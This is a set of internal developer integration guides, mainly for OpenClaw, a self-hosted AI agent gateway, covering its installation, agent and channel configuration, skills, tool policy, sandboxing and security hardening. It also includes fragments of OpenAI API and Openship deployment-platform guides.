const sessionLog = readFileSync(".claude/session.log", "utf-8");

const result = await client.responses.create({
  model: "gpt-6.1-sol",
  instructions: "Review this Claude Code session for potential issues.",
  input: sessionLog,
  store: false,
});

console.log("GPT-6.1 Sol review:", result.output_text);

CI: OpenAI code-quality gate

# .github/workflows/ai-review.yml
name: AI Code Review
on: [pull_request]

jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4   # pin to a commit SHA per the SLSA policy
        with: { fetch-depth: 0 }
      - name: Get diff
        run: git diff origin/${{ github.base_ref }}...HEAD > diff.txt
      - name: OpenAI review
        env:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
        run: |
          pip install "openai==3.35.1"
          python scripts/review.py diff.txt

Common Use Cases

Use case Approach
Structured extraction responses.parse + zodTextFormat on gpt-6-luna (step up to gpt-6.1-sol)
Ticket / lead routing, moderation-style yes/no Decisions API on gpt-6-luna
Vision / OCR input_image parts on any GPT-6 model
Embeddings for search text-embedding-3-small → pgvector
Images gpt-image-2.5-flare via Image API or the Responses tool
Voice agent Realtime API (gpt-realtime-2.1) or GPT-Live
Transcription gpt-transcribe (files) / gpt-live-transcribe (streaming)
Fine-tuning Don't start new work. Fine-tuning is closed to new orgs; use prompting plus Structured Outputs
Cross-model validation Claude drafts, GPT-6.1 Sol validates

Troubleshooting

Issue Fix
401 Unauthorized Check OPENAI_API_KEY, project permissions, key expiry, and the org's IP allowlist
model_not_found / shut-down model Check the deprecations table above; GET /v1/models shows shutdown_date
400 on temperature / top_p GPT-6 with reasoning effort ≠ none rejects them; remove them
400 on reasoning.effort: "none" gpt-6-astra and gpt-6.1-sol don't support none; use low
Tools ignored on Chat Completions Move to the Responses API (GPT-6 tool calling requires it)
Request sent with missing fields You passed { body } as the 2nd arg to create(); it replaced the whole body (v7)
output_parsed is null The model refused; inspect response.output for a refusal item
Strict-schema error Every property in required; nullable unions instead of .optional(); additionalProperties: false
429 slow_down / 503 server_is_overloaded Honour Retry-After, else back off exponentially. A 429 can also mean a hard spend limit was hit
Webhook "Invalid signature" Verify the raw text body (don't let a JSON parser consume it) and check the secret is for the right project
Rate-limit tiers Now three tiers: Build ($5 credit), Launch ($100), Grow ($500). See the rate-limits guide

codeAmani notes

Official docs:

OpenClaw Integration Guide

Technology: openclaw · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/openclaw

Insight:

OpenClaw is a self-hosted agent gateway, not an SDK. It is one long-lived daemon on your own box that fronts 30+ messaging channels, dozens of model providers, MCP servers and a file-based skill system, all driven by the openclaw CLI. It is free (MIT, Foundation-run, no paid tier); you pay for model tokens and the host. The trade is ownership for ops: you run the daemon, hold the keys, and inherit the blast radius of an agent that can exec. The project has published 700+ GitHub security advisories in 2026, so you must track latest or extended-stable and run openclaw security audit. For codeAmani it is the fastest way to put a Claude-backed brain behind a WhatsApp number for internal ops and prototyping the Kenya builds. Customer-facing WhatsApp traffic still ships on the Meta Cloud API.

 ██████╗ ██████╗ ███████╗███╗   ██╗ ██████╗██╗      █████╗ ██╗    ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██║     ██╔══██╗██║    ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║██║     ██║     ███████║██║ █╗ ██║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║██║     ██║     ██╔══██║██║███╗██║
╚██████╔╝██║     ███████╗██║ ╚████║╚██████╗███████╗██║  ██║╚███╔███╔╝
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═╝  ╚═╝ ╚══╝╚══╝

OpenClaw Integration Guide

Focus: Running a self-hosted OpenClaw Gateway as a personal or ops AI agent that lives inside WhatsApp, Telegram, Slack and friends. Covers install, config, agents, skills, MCP, and how to harden it before it leaves loopback.

Overview

OpenClaw is MIT-licensed (github.com/openclaw/openclaw). It is developed in the open by the OpenClaw Foundation (openclaw.org), an independent 501(c)(3). The docs describe it as "Your AI assistant, on your own hardware, in every chat app you already use. One Gateway. Any model. Any device. No hosted service in the middle." The project is active, not archived, renamed or forked: releases ship several times a week. The v2026.8.1 release was branded "OpenClaw 2.0" and rebuilt the web UI and onboarding.

It is not a library you import. There is no import { OpenClaw }. It is a daemon plus a CLI. You install the openclaw npm package globally (or use the installer or a desktop app) and run onboarding. You end up with a long-lived Gateway process on 127.0.0.1:18789. The Gateway owns your messaging connections, model providers, agent sessions and tool policy.

The design point that sets it apart from an agent framework: the messaging platform is the UI. There is no app to build. You DM a WhatsApp or Telegram number, and the Gateway routes the message to an agent. The agent runs tools in a workspace directory (on the host, in a sandbox, or on a cloud worker), and the reply comes back down the same channel. A browser Control UI (openclaw dashboard) handles chat, config and sessions. Native companions also exist: a Windows Hub, a macOS menu-bar app, a Linux desktop app, and iOS and Android nodes.

OpenClaw Agent SDK / framework Managed bot platform
Shape Daemon + CLI you self-host Library you compile into an app Hosted SaaS
UI Existing messaging apps + Control UI You build it Vendor's console
Model Bring your own key or Claude Code login Whatever you wire Vendor's models
Secrets Your disk (~/.openclaw/) Your env Vendor holds them
Ops burden Yours (process, updates, advisories) Yours (deploy) None
Multi-user Trusted team inside one trust boundary Yes, if you build it Yes
Price Free (no paid tier); you pay model + host Free SDK + model Subscription
flowchart LR
  subgraph CH["Channels"]
    W["WhatsApp"]
    T["Telegram"]
    S["Slack / Discord / Signal / Teams"]
  end
  subgraph HOST["Your host: one Gateway daemon"]
    G["Gateway<br/>127.0.0.1:18789<br/>WebSocket + HTTP + Control UI"]
    A["Agents<br/>agents.entries.*<br/>workspace + skills"]
    TP["Tool policy<br/>profile / allow / deny<br/>sandbox / elevated"]
  end
  subgraph CP["Control plane"]
    C["openclaw CLI"]
    U["Control UI"]
    N["Nodes<br/>macOS / iOS / Android / Windows"]
  end
  P["Model providers<br/>anthropic/ · openai/ · ollama/"]
  M["MCP servers<br/>stdio · HTTP · SSE"]
  SB["Sandbox backend<br/>Docker · Podman · SSH · OpenShell"]

  W --> G
  T --> G
  S --> G
  C --> G
  U --> G
  N --> G
  G --> A
  A --> TP
  TP --> M
  TP --> SB
  A --> P

Official Documentation

Resource URL
Getting started https://docs.openclaw.ai/start/getting-started
Install (all methods) https://docs.openclaw.ai/install
Node.js compatibility https://docs.openclaw.ai/install/node-compatibility
Architecture https://docs.openclaw.ai/concepts/architecture
Gateway config https://docs.openclaw.ai/gateway
Security hub https://docs.openclaw.ai/gateway/security
Hardened baselines https://docs.openclaw.ai/gateway/security/hardened-baseline
Exposure runbook https://docs.openclaw.ai/gateway/security/exposure-runbook
Sandbox vs tool policy vs elevated https://docs.openclaw.ai/gateway/sandbox-vs-tool-policy-vs-elevated
Agent config https://docs.openclaw.ai/gateway/config-agents
Channels index https://docs.openclaw.ai/channels
WhatsApp channel https://docs.openclaw.ai/channels/whatsapp
Model providers https://docs.openclaw.ai/providers
Anthropic provider https://docs.openclaw.ai/providers/anthropic
Skills (SKILL.md) https://docs.openclaw.ai/tools/skills
Tools overview https://docs.openclaw.ai/tools
MCP servers https://docs.openclaw.ai/tools/mcp
Plugins https://docs.openclaw.ai/plugins/manage-plugins
Multi-user mode https://docs.openclaw.ai/concepts/multi-user
Team setup https://docs.openclaw.ai/start/teams
CLI reference https://docs.openclaw.ai/cli
Release notes https://docs.openclaw.ai/releases
ClawHub (plugin and skill registry) https://clawhub.ai
Security advisories https://github.com/openclaw/openclaw/security/advisories
Repository https://github.com/openclaw/openclaw

Versions and release channels

Versions are date-based, not semver. As of 2026-10-20 (npm view openclaw dist-tags):

Dist-tag / update channel Version Use
latest (stable) 2026.10.5 Default. Moves several times a week
extended-stable 2026.9.33 Trailing-month line. Pin this for long-lived Gateways
beta 2026.10.10-beta.2 Testing only
dev git main checkout Contributors

The alpha dist-tag no longer exists. There was no v2026.7.2 release: its betas shipped as v2026.8.1 ("OpenClaw 2.0"). Switch channels with openclaw update --channel extended-stable (or stable, beta, dev). extended-stable is package-only and does not accept --tag.

Anything older than 2026.8.1 is affected by a large batch of advisories published on 2026-09-11, including Gateway, WhatsApp-plugin and exec-approval bugs rated high. If a host is still on the 2026.7.x line, update it before doing anything else. See Security below.


Install

Requirements: Node 24.16+ or 26.1+ (Node 26 recommended). The engines range is >=24.16.0 <25 || >=26.1.0. Node 22 and 25 are no longer supported (dropped in v2026.9.3 over a node:sqlite truncation bug). You also need an API key, or a Claude Code login, for at least one model provider.

Installer script. It detects the OS, installs Node if missing, installs OpenClaw and starts onboarding:

# macOS / Linux / WSL2
curl -fsSL https://openclaw.ai/install.sh | bash
# add  -s -- --no-onboard  to skip onboarding
# Windows (PowerShell). The native Windows Hub app is the docs' recommended desktop path
iwr -useb https://openclaw.ai/install.ps1 | iex

If you manage Node yourself:

# npm 12 or npm 11.16+ (npm 11.15 and earlier: drop the flag)
npm install -g openclaw@latest --allow-scripts=openclaw
openclaw onboard --install-daemon

# pnpm
pnpm add -g --allow-build=openclaw openclaw@latest
openclaw onboard --install-daemon

# bun (Bun 1.4.3+ can also run the Gateway)
bun add -g --trust openclaw@latest
bun run --bun openclaw onboard --install-daemon --daemon-runtime bun

npm 12 blocks unapproved lifecycle scripts. Without --allow-scripts=openclaw the preinstall/postinstall steps are skipped. The docs now use the = form. The npm approve-scripts openclaw hint that npm 11.16 prints does not work for a global install (ENOMATCH).

Onboarding offers Quick start and Custom setup. Quick start reuses detected AI access, checks it with a real completion, and leaves the Gateway in the foreground. Then install the service:

openclaw gateway install   # LaunchAgent (macOS), systemd user unit (Linux/WSL2), Scheduled Task (Windows)
openclaw --version
openclaw doctor            # config + environment diagnostics
openclaw gateway status    # should report listening on 18789
openclaw dashboard         # opens the Control UI
openclaw security audit    # run this before you connect any channel

Containers: official images are ghcr.io/openclaw/openclaw (primary) and the Docker Hub mirror openclaw/openclaw. Tags include latest, extended-stable, version tags such as 2026.10.5, and -slim and -browser variants. Avoid unofficial mirrors.


Configuration

State lives in $HOME/.openclaw/. The config file is JSON5 at ~/.openclaw/openclaw.json; override the path with OPENCLAW_CONFIG_PATH. Keep it a real file, not a symlink: OpenClaw writes atomically, so a symlink gets its target replaced. The Gateway watches the file and hot-reloads it. An invalid config exits with code 78, and systemd units stop relaunching until it is fixed. Prefer the CLI, which validates edits before they land:

openclaw config file            # print the resolved config path
openclaw config get agents.defaults.model
openclaw config set agents.defaults.model.primary "anthropic/claude-opus-5-5"
openclaw config validate
openclaw config schema          # full JSON Schema (--json)

Model providers and Claude model IDs

Models are addressed as "provider/model". The Claude IDs match this repo's anthropic/ guide; OpenClaw's Anthropic provider page documents the same IDs:

Use OpenClaw ref Anthropic API price (in / out per MTok)
Primary (house default) anthropic/claude-opus-5-5 $4 / $20
Fallback / volume anthropic/claude-sonnet-5-5 $2 / $10
Utility (titles, recaps, routing) anthropic/claude-haiku-5-5 $0.10 / $0.50 up to 100K-token prompts, $0.50 / $2.50 above
Frontier long-horizon anthropic/claude-fable-5-1 $10 / $50

Notes from the provider page:

{
  env: {
    vars: {
      ANTHROPIC_API_KEY: "sk-ant-...", // injected from Hazina at provisioning time; never committed
    },
  },
  agents: {
    defaults: {
      model: {
        primary: "anthropic/claude-opus-5-5",
        fallbacks: ["anthropic/claude-sonnet-5-5"],
      },
      utilityModel: "anthropic/claude-haiku-5-5", // short internal tasks: titles, recaps, narration
    },
  },
}
openclaw onboard --anthropic-api-key "$ANTHROPIC_API_KEY"
openclaw models list --provider anthropic
openclaw models set anthropic/claude-opus-5-5

The provider directory also covers OpenAI (including "Sign in with ChatGPT" and a Codex native harness), Google, Mistral, DeepSeek, Together, OpenRouter, Bedrock and Vertex, gateways (Cloudflare AI Gateway, Vercel AI Gateway), and local runtimes (Ollama, LM Studio, vLLM and others). Per codeAmani's AI routing policy, keep primary on Claude.

Agents

Agents are config objects, not code. agents.defaults sets the inherited baseline, agents.entries.<id> overrides it per agent, and bindings route channels to agents.

{
  agents: {
    ownership: "explicit", // stamped automatically when you create a multi-agent fleet
    defaults: {
      workspace: "~/.openclaw/workspace",
      model: { primary: "anthropic/claude-opus-5-5" },
      skills: ["duka-inventory"],
      heartbeat: { every: "30m" },
    },
    entries: {
      ops: {
        name: "Ops Agent",
        workspace: "~/.openclaw/workspace-ops",
        model: "anthropic/claude-opus-5-5",
        identity: { name: "Amani", emoji: "🕊️" },
      },
      support: {
        workspace: "~/.openclaw/workspace-support",
        model: { primary: "anthropic/claude-sonnet-5-5", fallbacks: [] },
        skills: ["docs-search"],
      },
    },
  },
  bindings: [
    { agentId: "ops", match: { channel: "whatsapp", accountId: "internal" } },
    { agentId: "support", match: { channel: "telegram" } },
  ],
}

Binding resolution is deterministic: within each tier, the first matching bindings entry wins, and match specificity narrows peer → guild/team → account → channel-wide. With ownership: "explicit" there is no default agent, so an unbound channel has nowhere to route.

openclaw agents list --bindings
openclaw agents add ops --workspace ~/.openclaw/workspace-ops --bind whatsapp:internal --non-interactive
openclaw agents bind --agent ops --bind telegram:ops
openclaw agents unbind --agent ops --bind telegram:ops

Channels

The channel catalog is generated from the repo. Bundled channels are Telegram, Reef, A2A and X/Twitter, and WebChat is included in core. Official plugins install on demand: WhatsApp, Slack, Discord, Signal, iMessage, Matrix, Microsoft Teams, Google Chat, LINE, SMS (Twilio), Mattermost, IRC, Twitch, Nostr, Zalo, Feishu, Nextcloud Talk and more. External plugins include WeChat, WeCom and Yuanbao. A Voice Call plugin adds telephony over Plivo, Telnyx or Twilio.

Telegram is the fastest first channel (bot token, no plugin install). WhatsApp needs QR pairing and keeps more state on disk.

openclaw channels add --channel telegram --token <bot-token>
openclaw plugins install @openclaw/whatsapp       # ClawHub by default; npm:@openclaw/whatsapp forces npm
openclaw channels add --channel whatsapp          # interactive; offers the plugin install if missing
openclaw channels login --channel whatsapp        # QR pairing (add --account <id> for multi-account)
openclaw channels status --probe

Package specs, including @openclaw/*, install from ClawHub by default. Prefix with clawhub:, npm:, git: or npm-pack: to pick the source explicitly. Plugins that declare capabilities need consent. Non-interactive installs need --accept-capabilities, and arbitrary npm, git or local sources also need --force after you review them.

WhatsApp

Set the access policy before you log in. The defaults are DM pairing and group allowlist:

{
  channels: {
    whatsapp: {
      dmPolicy: "allowlist",            // pairing | allowlist | open | disabled
      allowFrom: ["+254712345678"],
      groupPolicy: "allowlist",
      groupAllowFrom: ["+254712345678"],
      groups: { "*": { requireMention: true } },
      textChunkLimit: 2000,             // default 4000; lower it for 2G/3G users
      mediaMaxMb: 16,                   // default 50
      sendReadReceipts: true,
    },
  },
}
dmPolicy Effect
pairing (default) Unknown senders get a pairing code. Requests expire after 1 hour, max 3 pending per account
allowlist Only numbers in allowFrom get through
open Everyone. Requires an explicit allowFrom: ["*"]
disabled No DMs at all
openclaw pairing approve whatsapp <CODE>

Session credentials land in ~/.openclaw/credentials/whatsapp/<accountId>/creds.json (backup creds.json.bak). Treat that directory as a secret. Multi-account setups live under channels.whatsapp.accounts.<id>; named accounts inherit from accounts.default and then from the channel root.

Read this before shipping. The docs say: "production-ready via WhatsApp Web (Baileys). The gateway owns the linked session(s); there is no separate Twilio WhatsApp channel." Login is QR-only. This is not the Meta WhatsApp Business Cloud API. It suits an internal ops number or a prototype. It is the wrong tool for customer-facing volume on a business number. See codeAmani notes.


Skills

Skills are the extension unit for agent behaviour, and they are just files: a directory containing a SKILL.md with YAML frontmatter and a markdown body (AgentSkills-style).

---
name: mpesa-reconcile
description: Reconcile M-Pesa C2B callbacks against open orders and flag mismatches.
---

# M-Pesa reconciliation

When asked to reconcile payments:
1. Read `orders.csv` from the workspace.
2. Match on `CheckoutRequestID`, never on amount alone.
3. Report unmatched rows as a table; never auto-refund.

Discovery walks up to 6 levels deep inside configured roots. The name in frontmatter wins over the directory name. When the same name appears twice, the highest-precedence source wins:

Priority Source
1 Workspace skills: <workspace>/skills
2 Project agent skills: <workspace>/.agents/skills
3 Personal agent skills: ~/.agents/skills (default state only)
4 Managed/local skills: <state-dir>/skills
5 Bundled skills
6 Extra directories and plugin skills
openclaw skills install @owner/slug                    # from ClawHub
openclaw skills install skills-sh:owner/repo/slug      # skills.sh ref
openclaw skills install git:owner/repo@ref             # from a git ref
openclaw skills install ./path/to/skill --as mpesa-reconcile
openclaw skills install @owner/slug --global           # visible to every local agent
openclaw skills verify @owner/slug                     # trust envelope; --card prints the Skill Card
openclaw skills update --all

disable-model-invocation: true in frontmatter keeps a skill out of the model's $ picker (user-only). Third-party skills are prompt content plus possibly scripts. Run skills verify and read them before installing. ClawHub runs automated scans and can hold a release, but a scan is not a code review.


Tools, tool policy, sandbox and elevated

Three separate controls decide what an agent can do:

  1. Tool policy decides which tools exist. Keys: tools.profile, tools.allow / tools.deny, tools.byProvider, agents.entries.*.tools.*, and tools.sandbox.tools.*.
  2. Sandbox decides where tools run. agents.defaults.sandbox.mode is off (default), non-main or all. Backends are Docker (default), Podman, SSH, OpenShell or Crabbox. The Gateway process itself always stays on the host.
  3. Elevated (tools.elevated.*) is an exec-only escape hatch from the sandbox. Keep it enabled: false unless one trusted sender needs it.

Rules: deny always wins. A non-empty allow blocks everything else. Policy is enforced before the model call, so a denied tool's schema is never sent for that turn. Tool policy filters by tool name: if exec is allowed, denying write does not make shell commands read-only. Use groups instead of hand-listing tools:

Group Expands to
group:runtime exec, process, code_execution (bash aliases exec)
group:fs read, write, edit, apply_patch
group:automation heartbeat_respond, cron, gateway
group:ui browser, screen, terminal, canvas, …
group:nodes nodes, computer
group:web web_search, x_search, web_fetch
group:plugins all plugin tools, including MCP servers

The docs' hardened baseline:

{
  gateway: {
    mode: "local",
    bind: "loopback",
    auth: { mode: "token", token: "replace-with-long-random-token" }, // from Hazina, never literal
  },
  session: { dmScope: "per-channel-peer" }, // separate DM context per sender
  tools: {
    profile: "messaging",
    deny: ["group:automation", "group:runtime", "group:fs", "sessions_spawn", "sessions_send"],
    fs: { workspaceOnly: true },
    exec: { security: "deny", ask: "always" },
    elevated: { enabled: false },
    sessions: { visibility: "agent" },
    agentToAgent: { enabled: false },
  },
  channels: {
    whatsapp: { dmPolicy: "pairing", groups: { "*": { requireMention: true } } },
  },
}

Built in: non-owner senders can never use the cron or gateway tools in chat-driven turns. Inspect what is actually in force with:

openclaw sandbox explain --agent support
openclaw policy             # inspect and test tool policy
openclaw logs               # look for agents/tool-policy entries

MCP servers

MCP servers go under mcp.servers (stdio, streamable HTTP, or SSE). Their tools pass through the same profile and policy controls, and sandboxed turns need them on the sandbox allow-list (bundle-mcp, group:plugins, or server__*).

openclaw mcp add docs --url https://mcp.example.com/mcp --transport streamable-http --include 'search,read_*'
openclaw mcp doctor docs --probe     # saving a definition proves nothing; probe it
openclaw mcp login docs              # OAuth for protected servers
openclaw mcp status --verbose
openclaw mcp serve                   # the reverse: expose OpenClaw conversations to another MCP client
{
  mcp: {
    servers: {
      docs: {
        url: "https://mcp.example.com/mcp",
        transport: "streamable-http",
        toolFilter: { include: ["search", "read_*"] },
      },
    },
  },
}

Keep credentials out of config literals. Store sensitive headers and env values through the supported secret mechanisms.


Gateway operations and network exposure

There is one Gateway per host and one multiplexed port for the WebSocket control API, the HTTP APIs and the Control UI. The node/device bridge uses 18790. Channel plugins that need an inbound webhook open their own port (Microsoft Teams uses 3978).

openclaw gateway start | stop | restart | status
openclaw logs
openclaw health
openclaw gateway probe --url ws://127.0.0.1:18789 --token "$OPENCLAW_GATEWAY_TOKEN"
ssh -N -L 18789:127.0.0.1:18789 user@gateway-host

The shipped docker-compose.yml runs gateway --bind ${OPENCLAW_GATEWAY_BIND:-lan} and publishes 18789, 18790 and 3978 with no-new-privileges. A containerised deploy is therefore non-loopback by construction, and OPENCLAW_GATEWAY_TOKEN is mandatory.


Security

OpenClaw is an agent with real system access: shell, files, browser, cron, your messaging identities and your provider keys. Treat it like a privileged service.

Trust model. Each Gateway is one trust boundary: a single operator, or a team whose members trust each other. Multi-user mode (session ownership, presence, roles) and team deployments are supported inside that boundary. The docs are explicit that it is not a hostile multi-tenant boundary: "Everyone who can operate an agent can make it do anything that agent can do." Mutually untrusted users need separate Gateways and credentials, ideally on separate OS users or hosts.

Advisory volume. As of 2026-10-20 the repo has 722 published GitHub security advisories (14 critical, 249 high, 390 medium, 69 low), and 39 of them carry CVE IDs. The criticals (Feb–Apr 2026) include Gateway pairing and scope escalation to operator.admin with node RCE, sandbox escapes, plugin-install path traversal, and .env injection. A batch of 75 advisories published on 2026-09-11 is fixed in openclaw 2026.8.1 and @openclaw/whatsapp 2026.8.1. Examples from that batch: unauthenticated sockets held by "upgrade-like" requests, a WhatsApp login tool reachable from non-owner turns, exec-approval bypasses, and MCP config changes that skipped owner authorization. Practical rules:

  1. Stay on latest or extended-stable and update within days. openclaw update updates core, then synchronizes enabled plugins to the matching release cohort.
  2. Run openclaw security audit --deep after every config or exposure change. --fix tightens file permissions and open group policies; it never rotates keys or changes bind/auth.
  3. Subscribe to github.com/openclaw/openclaw/security/advisories.
  4. Follow the exposure runbook (loopback, pairing/allowlist, session.dmScope, sandbox non-main, exec denied, elevated off) before any channel goes live.
  5. Use a strong, latest-generation model. The docs note that modern models resist prompt injection substantially better, and the audit warns on small models (≤300B) running unsandboxed with web tools.

Telemetry. There is no telemetry by default beyond an update check to telemetry.openclaw.ai. openclaw telemetry show reports the state. It can be disabled, or pointed at your own endpoint with OPENCLAW_TELEMETRY_ENDPOINT.

openclaw security audit
openclaw security audit --deep --json | jq '.findings[] | select(.severity=="critical") | .checkId'
openclaw security audit --fix

examples/audit-gate.mts wraps this as a CI or cron gate.


Pricing

OpenClaw itself is free. The docs state "No paid tier": MIT license, Foundation-run, no hosted service in the middle. Your costs are:


Environment Variables

Real secrets only (store them in Hazina; never commit them):

# Model provider (codeAmani primary; see AI routing policy)
ANTHROPIC_API_KEY=sk-ant-...

# Gateway auth: required for any non-loopback bind (use one of the two)
OPENCLAW_GATEWAY_TOKEN=replace-with-long-random-token
OPENCLAW_GATEWAY_PASSWORD=replace-with-long-random-password

Non-secret settings:

Variable Default Purpose
OPENCLAW_GATEWAY_PORT 18789 Gateway port (after --port, before gateway.port)
OPENCLAW_CONFIG_PATH ~/.openclaw/openclaw.json Config file location (keep it a real file)
OPENCLAW_STATE_DIR ~/.openclaw State directory (used by the container image)
OPENCLAW_GATEWAY_BIND lan (compose only) Bind passed by docker-compose.yml
OPENCLAW_IMAGE openclaw:local Image used by the compose file, e.g. ghcr.io/openclaw/openclaw:extended-stable
OPENCLAW_SERVICE_REPAIR_POLICY unset external hands service lifecycle to your own supervisor
OPENCLAW_TELEMETRY_ENDPOINT telemetry.openclaw.ai Self-host the update-check endpoint

Repository layout (grounding)

If you clone openclaw/openclaw to read the source:

In the tree Is Note
extensions/ Channels, model providers, tools What the docs and CLI call "plugins". WhatsApp is extensions/whatsapp (@openclaw/whatsapp, published separately to npm at the same version as core)
apps/ Companion clients android, ios, macos, linux, shared: the "nodes". The Windows Hub lives in a separate repo, openclaw/openclaw-windows-node
docs/ Published docs Same paths as docs.openclaw.ai; every page is also served as .md
docker-compose.yml, Dockerfile, fly.toml, render.yaml Deploy fragments Compose binds lan and expects OPENCLAW_GATEWAY_TOKEN
AGENTS.md Contributor policy CLAUDE.md is a symlink to it

package.json (v2026.10.5): author: "OpenClaw Foundation (https://openclaw.org)", packageManager: pnpm@12.12.1.


codeAmani notes


Troubleshooting

Issue Fix
npm install -g openclaw skips setup / CLI missing npm 12+ blocks lifecycle scripts: reinstall with --allow-scripts=openclaw (pnpm --allow-build=openclaw, bun --trust)
npm approve-scripts openclaw fails with ENOMATCH Expected for global installs; use the flag above
Engine error on Node 22 or 25 Unsupported since v2026.9.3; install Node 24.16+ or 26.1+
Refuses to start: "refusing to bind gateway … without auth" A non-loopback bind needs gateway.auth.token / .password or OPENCLAW_GATEWAY_TOKEN
Gateway exits with code 78 and systemd will not restart it Invalid config: run openclaw config validate, fix, then start
Control UI blocked in a remote browser Add the origin to gateway.controlUi.allowedOrigins
Tunnel works but requests are rejected SSH tunnels do not bypass Gateway auth; the client still sends the token
WhatsApp QR expires on a headless box Deliver the live QR to the phone quickly. Behind a proxy, a 408 before the QR means a proxy/TLS issue (see WhatsApp troubleshooting)
Bot ignores an incoming DM dmPolicy: "pairing" is waiting: openclaw pairing approve whatsapp <CODE> (expires after 1h, max 3 pending)
Messages arrive but no agent replies With agents.ownership: "explicit" there is no default agent; add a binding (openclaw agents bind)
"Tool X blocked by sandbox tool policy" openclaw sandbox explain; add it to tools.sandbox.tools.allow or change sandbox mode
MCP tools missing in sandboxed turns Add bundle-mcp, group:plugins or server__* to tools.sandbox.tools.alsoAllow; openclaw mcp doctor <name> --probe
Skill installed but never used Check the frontmatter name (it overrides the directory), the precedence table, and disable-model-invocation
Plugin install fails non-interactively Add --accept-capabilities (and --force for arbitrary npm/git/local sources after review)
Still on an old Opus after "upgrading" Pinned refs are not rewritten; set anthropic/claude-opus-5-5 explicitly

Official docs:

Openship Integration Guide

Technology: openship · Category: hosting · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/openship

Insight:

Openship is the self-hosted deploy tier: Apache-2.0 CI/CD that builds, ships, routes, and TLS-terminates a repo on hardware you own — a Vercel-shaped workflow without the per-seat bill. Since August it has grown from a single-box PaaS (0.6.x) into a fleet platform (0.9.x): k3s clusters, replicas, clustered Postgres/Redis, its own CI runner (Openship Actions), and a Node SDK in the same openship package. The trade is unchanged — you are the platform team, and the Docker socket the API mounts is host root. codeAmani runs a fork (codeAmani-Solutions/open-ship, still on 0.6.8) as its local fleet control plane; catching up to 0.9.x means crossing 0.8.0's one-way secret-encryption migration.

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗██╗  ██╗██╗██████╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██║  ██║██║██╔══██╗
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████║██║██████╔╝
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║██╔══██║██║██╔═══╝
╚██████╔╝██║     ███████╗██║ ╚████║███████║██║  ██║██║██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝

Openship Integration Guide

Focus: Running codeAmani's own deploy platform. Install the control plane, deploy a repo end to end, drive it from code (Ship SDK) and agents (MCP), and operate the local fork (codeAmani-Solutions/open-ship) that fronts the fleet.

Overview

Openship is an open-source, self-hostable deployment platform with built-in CI/CD, licensed Apache-2.0 (repo LICENSE, npm metadata). Point it at a GitHub repo, a folder on disk, or a prebuilt image and it runs one pipeline: detect the stack, build an image, run it on loopback, then write an OpenResty reverse-proxy route and issue a Let's Encrypt certificate. Push-to-deploy, PR previews, rollbacks, managed Postgres/MySQL/MongoDB/Redis, a built-in Postfix + Dovecot mail server, and backups all live in the same control plane.

Four interfaces drive the same backend: a desktop app (Electron), a web dashboard (Next.js), the CLI, and since 0.8.0 the Ship SDK (openship/client, openship/native), all in one npm package. A REST API and an MCP endpoint let agents drive it.

⚠️ Name collision. openshiporg/openship is an unrelated e-commerce order-fulfilment project. This guide covers oblien/openship, the deployment platform at https://openship.io.

Current version (verified 2026-10-20)

npm openship 0.9.3 (published 2026-10-17). Description: "Openship SDK and CLI for native and remote deployments"
GitHub release v0.9.3 (2026-10-17). Release cadence is about weekly.
Node engines.node >=22 (the CLI warns on 20 and 21, and refuses below 20)
License Apache-2.0
codeAmani fork 0.6.8, 13 fork commits, last commit 2026-08-29. It is four minor versions behind (see Breaking changes)

What changed since this guide was written (0.6.7 → 0.9.3)

Release Date Headline
0.6.8 – 0.7.2 Aug 25 – Sep 5 Fix releases (release notes are "bump + announce" only)
0.8.0 Sep 27 Server clusters (managed WireGuard private networking + k3s), app replicas 1–100, clustered PostgreSQL and sharded Redis, shared volumes, S3 DB backups, Node SDK, much larger MCP surface, releaseCommands, wildcard TLS, env/build-args encrypted at rest
0.8.1 Oct 6 Openship Cloud managed servers with monthly plans, passkeys + TOTP 2FA, GitHub access decoupled from sign-in
0.8.2 Oct 6 Desktop updater fix ("Redirect was cancelled")
0.9.0 Oct 12 Openship Actions (GitHub-style CI on your own Linux/macOS runners), move the control plane between Desktop and a server, GitHub deployment Checks on by default, Cloud Pages for static sites
0.9.1 Oct 13 Public app catalog, runtimeVersion / runtimeImage overrides, path-only domain routing
0.9.2 Oct 16 Workers and schedulers declared in openship.json, managed Cloudflare Tunnel ingress, reusable BuildKit caches
0.9.3 Oct 17 Opt-in GitHub PR previews (same-repo, non-draft, isolated vars and volumes), command-variable → encrypted env migration

Where it sits next to the managed hosts and the other self-hosted PaaS

Vercel Railway Render Coolify / Dokploy Openship
Model Managed serverless Managed containers Managed containers Self-hosted PaaS Self-hosted PaaS (+ optional managed Cloud)
Who runs the machine Vercel Railway Render You You (or Openship Cloud)
Long-running processes / workers ✗ functions ✓ ✓ ✓ ✓ (workers + schedulers since 0.9.2)
Cost at rest Per seat + usage Usage Per service VPS rent VPS rent (Cloud: $5–$99/mo per server)
TLS / routing Automatic Automatic Automatic Traefik + LE OpenResty + LE; you own renewals
Edge features Global CDN, WAF CDN CDN Traefik middlewares Reload-free per-route rate limits, IP/geo/UA bans, built-in analytics. No CDN, no cache, no HTTP/3, no WAF
Multi-server n/a n/a n/a SSH SSH + WireGuard + k3s clusters (0.8.0)
Agent surface MCP MCP MCP MCP (Coolify read-only, Dokploy full API) MCP, write-capable, every call re-authorized
Distinctive DX, previews DX Managed always-on Coolify: 280+ templates Adopts running Coolify/Dokploy/Dokku stacks and proxies; built-in mail server; desktop mode with no daemon

